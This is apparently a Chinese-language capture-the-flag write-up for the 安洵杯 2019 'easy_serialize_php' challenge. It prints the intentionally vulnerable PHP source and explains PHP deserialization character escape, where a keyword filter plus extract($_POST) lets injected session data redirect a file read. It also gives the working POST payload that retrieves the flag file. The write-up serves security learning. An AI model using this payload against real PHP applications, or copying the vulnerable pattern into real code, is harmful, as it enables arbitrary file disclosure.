[安洵杯 2019]easy_serialize_php
思考
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
在传输$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
的时候我试图把后面的s:2:"dd";s:1:"a";
删掉然后再传,按照理论的来说
后面应该会输出
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
}
但是却输出的是bool(false)
把后面的传成任意一个数组的反序列就能成功
我思考了一下应该是原来的 $_SESSION数组有三个元素,当我删去后面的时候再反序列化只能有两个,相比起原来就少了一个,所以最终反序列化失败了,不知道是不是这个原因,希望有大佬能够解答我的疑惑
一这道题来学习一下php反序列化字符逃逸
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
?f=phpinfo()
可以看到一个嫌疑文件d0g3_f1ag.php
看样子需要读文件了,读文件在show_image
方法中,我们需要把最终的img_path传进去
-
<?php $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}'; var_dump(unserialize($str)); 输出 array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }
如果在str后面再添加一些数据
<?php $str='a:2:{i:0;s:8:"Hed9eh0g";i:1;s:5:"aaaaa";}abc'; var_dump(unserialize($str)); 输出 array(2) { [0]=> string(8) "Hed9eh0g" [1]=> string(5) "aaaaa" }
也就是说PHP的反序列化识别是由一定范围的,范围之外的字符不影响反序列化正常执行
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
输出
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
假设后台存在一个过滤机制,会将含flag字符替换为空,那么以上序列化字符串过滤结果为:a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
这个时候关注第二个s所对应的数字,本来由于有6个flag字符所以为24,现在这6个flag都被过滤了,那么它将会尝试向后读取24个字符看看是否满足序列化的规则,也即读取;s:8:"function";s:59:"a
,读取这24个字符后以”;结尾,恰好满足规则,而后第三个s向后读取img的20个字符,第四个、第五个s向后读取均满足规则,所以序列化结果为:
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
原本代码的img已经变成了我们想要的路径了
按照这个思路
POST:_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
<?php
$flag = 'flag in /d0g3_fllllllag';
?>
再把上面的BASE64改成这个文件就行